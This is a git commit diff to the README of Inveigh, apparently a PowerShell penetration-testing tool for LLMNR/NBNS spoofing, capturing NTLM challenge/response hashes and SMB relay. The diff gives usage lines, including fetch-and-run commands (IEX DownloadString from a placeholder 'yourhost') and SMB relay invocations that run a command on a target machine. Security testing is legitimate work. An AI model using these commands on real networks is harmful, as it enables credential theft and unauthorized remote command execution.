diff options
author | Kevin Robertson <robertsonk@gmail.com> | 2015-10-11 19:56:02 -0400 |
---|---|---|
committer | Kevin Robertson <robertsonk@gmail.com> | 2015-10-11 19:56:02 -0400 |
commit | 65c2df6a2b00d0b2514f84e3e5c514c073bdd6e3 (patch) | |
tree | 7ef650fef950b3aa792d4b33cbb0109411b69402 /README.md | |
parent | 3ed10aaad19f8ad6ee386af6f5de0473425258d3 (diff) | |
download | Inveigh-65c2df6a2b00d0b2514f84e3e5c514c073bdd6e3.tar.gz Inveigh-65c2df6a2b00d0b2514f84e3e5c514c073bdd6e3.zip |
Moved SMB relay code to a dedicated script, also added a Scripts directory and psm1 and psd1 files
The SMB relay code is now in Inveigh-Relay.ps1. The script can be used
either through Invoke-Inveigh or as a standalone function.
Diffstat (limited to 'README.md')
-rw-r--r-- | README.md | 25 |
1 files changed, 15 insertions, 10 deletions
@@ -19,14 +19,16 @@ Tested minimums are PowerShell 2.0 and .NET 3.5 # Usage Obtain an elevated administrator or SYSTEM shell and use a method to load the module -To import with Import-Module: -Import-Module ./Inveigh.ps1 +To import with Import-Module: +Import-Module ./Inveigh.psd1 -To import with dot source method: -. ./Inveigh.ps1 +To import using dot source method: +. ./Inveigh.ps1 +. ./Inveigh-Relay.ps1 To load into memory using Invoke-Expression: -IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1") +IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1") +IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh-Relay.ps1") To execute with default settings: Invoke-Inveigh @@ -37,23 +39,26 @@ Import-Module ./Inveigh.ps1;Invoke-Inveigh To execute with features enabled/disabled: Invoke-Inveigh -IP 'local IP' -SpoofIP 'local or remote IP' -LLMNR Y/N -NBNS Y/N -NBNSTypes 00,03,20,1B -HTTP Y/N -HTTPS Y/N -SMB Y/N -Repeat Y/N -ConsoleOutput Y/N -FileOutput Y/N -OutputDir 'valid folder path' -To execute with SMB relay enabled: +To execute with SMB relay enabled through Invoke-Inveigh: Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target" +To execute with SMB relay with only Invoke-InveighRelay: +Invoke-InveighRelay -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target" + Use 'Get-Help -parameter * Invoke-Inveigh' for a full list of parameters -# Cmdlets +# Functions Invoke-Inveigh - Start Inveigh with or without parameters +Invoke-InveighRelay - SMB relay function Get-Inveigh - Get queued console output Get-InveighLog - Get log entries Get-InveighNTLM - Get all captured challenge/response hashes Get-InveighNTLMv1 - Get captured NTLMv1 challenge/response hashes Get-InveighNTLMv2 - Get captured NTLMv2 challenge/response hashes Get-InveighStats - Get captured challenge/response counts -Get-InveighHelp - List the cmdlets Watch-Inveigh - Enable real time console output -Clear-Inveigh - Clear capture, log, smbrelay, and spoof lists -Stop-Inveigh - Stop Inveigh +Clear-Inveigh - Clear Inveigh data from memory +Stop-Inveigh - Stop all running Inveigh functions # Screenshots Invoke-Inveigh execution with real time console and file output enabled |